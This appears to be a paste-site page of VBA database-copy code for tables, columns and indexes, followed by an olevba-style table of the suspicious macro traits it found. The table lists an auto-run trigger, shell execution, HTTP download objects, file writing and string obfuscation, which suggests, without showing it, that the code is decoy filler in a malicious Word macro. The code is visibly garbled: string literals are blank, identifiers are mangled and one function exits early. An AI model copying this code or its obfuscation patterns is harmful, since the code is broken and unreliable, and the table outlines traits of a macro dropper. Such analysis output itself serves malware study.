  784. Call oDB.FireEvent(etOnDBEvent, _
  785.  eBADbEvent.dbeConnectionTargetFailed, sTemp)
  786. Err.Clear
  787. Resume OpenTargetErrExit
  788. End Function
  789. Private Function VerifyTableTarget(ByVal frm As String, ByVal lst As String, ByVal oDB As String) As Boolean
  790. Dim oTable As String
  791. Dim sTemp As String
  792. VerifyTableTarget = True
  793. For Each oTable In oDB.DBTables.DBTables
  794.  sTemp = oTable.TblName
  795.  StatusMsg "" & sTemp & ""
  796.  If DBADOUtil.DBADOTableExistsCN(oDB.CnTarget, sTemp) = teTableExists Then
  797.  lst.AddItem sTemp
  798.  Else
  799.  lst.AddItem sTemp & ""
  800.  VerifyTableTarget = VerifyTableTarget And False
  801.  End If
  802. Next oTable
  803. End Function
  804. Private Function DropTableTarget(ByVal frm As String, ByVal oDB As String, ByVal sTable As String) As Boolean
  805. Dim oTable As String
  806. On Error GoTo DropTableTargetErrHandler
  807. Const PROCEDURE_NAME As String = ""
  808. For Each oTable In oDB.DBTables.DBTables
  809.  If oTable.TblName = sTable Then
  810.  If DBADOTableExistsCN(oDB.CnTarget, oTable.TblName) = False Then
  811.  DropTableTarget = True
  812.  Exit Function
  813.  Else
  814.  Call oDB.CnTarget.Execute("" & sTable, , adExecuteNoRecords)
  815.  Exit For
  816.  End If
  817.  End If
  818. Next oTable
  819. DropTableTarget = True
  820. DropTableTargetErrExit:
  821. On Error GoTo 0
  822. Exit Function
  823. DropTableTargetErrHandler:
  824. Err.Clear
  825. Resume DropTableTargetErrExit
  826. End Function
  827. Private Function CreateTable(ByVal cn As String, ByVal oDB As String, ByVal oTable As String) As Boolean
  828. Dim cat As String
  829. Dim tbl As String
  830. Dim col As ADOX.Column
  831. Dim oDBCol As String
  832. Dim sColType As String
  833. Dim sMsg As String
  834. On Error GoTo CreateTableErrHandler
  835. Const PROCEDURE_NAME As String = ""
  836. Set cat = New ADOX.Catalog
  837. Set cat.ActiveConnection = cn
  838. Set tbl = New ADOX.Table
  839. With tbl
  840.  .Name = oTable.TblName
  841.  For Each oDBCol In oTable.DBColumns.DBColumns
  842.  StatusMsg "" & oDBCol.ColName & ""
  843.  Set col = New ADOX.Column
  844.  col.Name = oDBCol.ColName
  845.  col.Type = oDBCol.GetTypeTarget
  846.  If (oDBCol.Size = 0) And (oDBCol.Precision = 0) Then
  847.  ElseIf (oDBCol.Size > 0) And (oDBCol.Precision = 0) Then
  848.  col.DefinedSize = oDBCol.Size
  849.  ElseIf (oDBCol.Size = 0) And (oDBCol.Precision > 0) Then
  850.  If DBADOColumnTypeIsInteger(col.Type) = False Then
  851.  col.Precision = oDBCol.Precision
  852.  End If
  853.  End If
  854.  If oDBCol.AllowNull = True Then
  855.  col.Attributes = adColNullable
  856.  End If
  857.  Select Case oDBCol.TypeTarget
  858.  Case adoBoolean
  859.  col.Attributes = 0
  860.  End Select
  861.  sColType = modApp.GetFieldType(col)
  862.  .Columns.Append col
  863.  Next oDBCol
  864. End With
  865. sMsg = GetDBColumnsPropertiesString(tbl)
  866. cat.Tables.Append tbl
  867. sMsg = vbNullString
  868. For Each oDBCol In oTable.DBColumns.DBColumns
  869.  If oDBCol.IsIndex = True Then
  870.  If AddIndex(oDB, cat, tbl, oDBCol) = False Then
  871.  CreateTable = False
  872.  Exit Function
  873.  End If
  874.  End If
  875. Next oDBCol
  876. Set cat.ActiveConnection = Nothing
  877. Set cat = Nothing
  878. Set tbl = Nothing
  879. Set col = Nothing
  880. CreateTable = True
  881. CreateTableErrExit:
  882. On Error GoTo 0
  883. Exit Function
  884. CreateTableErrHandler:
  885. CreateTable = False
  886. If Len(sMsg) > 0 Then
  887.  sMsg = Err.Description & vbNewLine & sMsg
  888. Else
  889.  sMsg = Err.Description
  890. End If
  891. Call oDB.FireEvent(etOnDBEvent, eBADbEvent.dbeTableCreateFailed, _
  892.  PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & sMsg)
  893. Err.Clear
  894. Resume CreateTableErrExit
  895. End Function
  896. Private Function AddIndex(ByVal oDB As String, ByVal cat As String, ByVal tbl As String, ByVal oDBCol As String) As Boolean
  897. Dim i As Long
  898. Dim col As ADOX.Column
  899. Dim idx As ADOX.Index
  900. Dim bolFound As Boolean
  901. On Error GoTo AddIndexErrHandler
  902. Const PROCEDURE_NAME As String = ""
  903. For i = 0 To tbl.Columns.Count - 1
  904.  Set col = tbl.Columns(i)
  905.  If col.Name = oDBCol.ColName Then
  906.  bolFound = True
  907.  Exit For
  908.  End If
  909. Next i
  910. If bolFound = True Then
  911.  Set idx = New ADOX.Index
  912.  With idx
  913.  .Name = oDBCol.ColName
  914.  .PrimaryKey = oDBCol.IsPrimary
  915.  If .PrimaryKey = False Then
  916.  .Unique = oDBCol.IsUnique
  917.  If .Unique = False Then
  918.  If oDBCol.AllowNull = True Then
  919.  .IndexNulls = adIndexNullsIgnore
  920.  End If
  921.  End If
  922.  End If
  923.  .Columns.Append col.Name
  924.  End With
  925.  tbl.Indexes.Append idx
  926. End If
  927. AddIndex = True
  928. AddIndexErrExit:
  929. On Error GoTo 0
  930. Exit Function
  931. AddIndexErrHandler:
  932. AddIndex = False
  933. Call oDB.FireEvent(etOnDBEvent, eBADbEvent.dbeIndexCreateFailed, _
  934.  PROCEDURE_NAME & CStr(Err.Number) & "" & CStr(Err.Source) & "" & Err.Description)
  935. Err.Clear
  936. Resume AddIndexErrExit
  937. End Function
  938. Public Function CopyData(ByVal frm As String, ByVal oDB As String, ByVal sTable As String) As Boolean
  939. Dim sSQLSource As String, sSQLTarget As String
  940. Dim sSQLCount As String
  941. Dim lRecCount As Long, lCount As Long, lColCount As Long, i As Long
  942. Dim cmd As String
  943. Dim prm As String
  944. Dim sParam As String
  945. Dim rs As String
  946. SplitTabelData.Open (TypeEnumData)
  947. Exit Function
  948. On Error GoTo CopyDataErrHandler
  949. Const PROCEDURE_NAME As String = ""
  950. sParam = ""
  951. Dim oDBTable As String, oDBCol As String
  952. With cmdString
  953.  Set .ActiveConnection = oD.B.CnTarget
  954.  .CommandType = adCmdText
  955.  .Prepared = True
  956. End With
  957. oDBTable = oD.B.DBTables.DBTableGetByName(sTable)
  958. sSQLSource = vbNullString: sSQLTarget = vbNullString
  959. lColCount = oDBTa.ble.DBColumnsCount
  960. For i = 1 To lColCount
  961.  oDBCol = oDBTa.ble.DBColumns.DBColumns(i)
  962.  With pr.m
  963.  .Name = oDBC.ol.ColName
  964.  sParam = .Name
  965.  .Direction = adParamInput
  966.  .Type = oDBC.ol.GetTypeTarget
  967.  If oDBC.ol.Size > 0 Then
  968.  .Size = oDBC.ol.Size
  969.  End If
  970.  If oDBC.ol.Precision > 0 Then
  971.  .Precision = oDBC.ol.Precision
  972.  End If
  973.  End With
  974.  cmdl.Parameters.Append prm
  975.  sSQLSource = sSQLSource & "" & oDBC.ol.ColName & ""
  976.  sSQLTarget = sSQLTarget & "" & oDBC.ol.ColName
  977.  If i < lColCount Then
  978.  sSQLSource = sSQLSource & ""
  979.  sSQLTarget = sSQLTarget & ""
  980.  End If
  981. Next i
  982. sParam = ""
  983. sSQLCount = "" & sTable
  984. If Len(oDBTlable.Query) > 0 Then
  985.  sSQLCount = sSQLCount & "" & oDBTab.le.Query
  986. End If
  987. sSQLCount = sSQLCount & ""
  988. sSQLTarget = "" & sTable & "" & sSQLSource & "" & sSQLTarget & ""
  989. sSQLSource = "" & sSQLSource & "" & sTable
  990. If Len(oDBTlable.Query) > 0 Then
  991.  sSQLSource = sSQLSource & "" & oDlTable.Query
  992. End If
  993. sSQLSource = sSQLSource & ""
  994. Call rlls.Open(sSQLCount, oDBl.CnSource, adOpenForwardOnly, adLockReadOnly)
  995. If Not rlls Is Nothing Then
  996.  lRecCount = 0: lCount = 0: lll.CommandText = sSQLTarget
  997.  rlls.MoveFirst
  998.  lRecCount = rllls.Fields("").Value
  999.  Call rslll.Close
  1000.  Call oDllB.FireEvent(etOnDBEvent, eBADbEvent.dbeRecordCount, lRecCount)
  1001.  Call rlls.Open(sSQLSource, ollDB.CnSource, adOpenForwardOnly, adLockReadOnly)
  1002.  rllls.MoveFirst
  1003.  Do
  1004.  lCount = lCount + 1
  1005.  ollDB.FireEvent etOnDBEvent, eBADbEvent.dbeRecordAdded, lCount
  1006.  For Each plllrm In cmlld.Parameters
  1007.  Select Case rlls.Fields(prllm.Name).Type
  1008.  Case ADODB.DataTypeEnum.adBoolean
  1009.  prlllm.Type = rllls.Fields(prllm.Name).Type
  1010.  cmdll.Parameters(prllm.Name).Value = CBool(Val(vbNullString & rllls.Fields(prllm.Name).Value))
  1011.  Case Else
  1012.  cmdll.Parameters(prllm.Name).Value = rllls.Fields(prllm.Name).Value
  1013.  End Select
  1014.  Next plllrm
  1015.  sParaml = GetDBParamlll.etersString(cmllld)
  1016.  Call cllmd.Execute(, , adExecuteNoRecords)
  1017.  rlls.MoveNext
  1018.  If lCount Mod 100 = 0 Then
  1019.  If frllm.AppState = asStopRequest Then
  1020.  Exit Do
  1021.  End If
  1022.  End If
  1023.  Loop Until rsll.EOF
  1024. End If
  1025. llls.Close
  1026. CopyData = True
  1027. CopyDataErrExit:
  1028. On Error GoTo 0
  1029. Exit Function
  1030. CopyDataErrHandler:
  1031. CopyData = False
  1032. Resume CopyDataErrExit
  1033. End Function
  1034. Private Sub ClearControls(ByVal frm As String)
  1035. With frm
  1036.  .lvwColumnsSource.ListItems.Clear
  1037.  .lvwTableSource.ListItems.Clear
  1038.  .lvwTableTarget.ListItems.Clear
  1039. End With
  1040. End Sub
  1041.  
  1042.  
  1043.  
  1044.  
  1045.  
  1046.  
  1047. +------------+----------------------+-----------------------------------------+
  1048. | Type       | Keyword              | Description                             |
  1049. +------------+----------------------+-----------------------------------------+
  1050. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  1051. | Suspicious | Open                 | May open a file                         |
  1052. | Suspicious | Shell                | May run an executable file or a system  |
  1053. |            |                      | command                                 |
  1054. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1055. |            |                      | command                                 |
  1056. | Suspicious | Shell.Application    | May run an application (if combined     |
  1057. |            |                      | with CreateObject)                      |
  1058. | Suspicious | CreateObject         | May create an OLE object                |
  1059. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1060. |            |                      | strings                                 |
  1061. | Suspicious | ADODB.Stream         | May create a text file                  |
  1062. | Suspicious | SaveToFile           | May create a text file                  |
  1063. | Suspicious | Write                | May write to a file (if combined with   |
  1064. |            |                      | Open)                                   |
  1065. | Suspicious | Output               | May write to a file (if combined with   |
  1066. |            |                      | Open)                                   |
  1067. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  1068. |            |                      | (obfuscation: VBA expression)           |
  1069. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  1070. |            |                      | be used to obfuscate strings (option    |
  1071. |            |                      | --decode to see all)                    |
  1072. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1073. |            | Strings              | may be used to obfuscate strings        |
  1074. |            |                      | (option --decode to see all)            |
  1075. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  1076. | VBA string |                      | ""  & ""                                |
  1077. | VBA string |                      | "" + ""                                 |
  1078. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement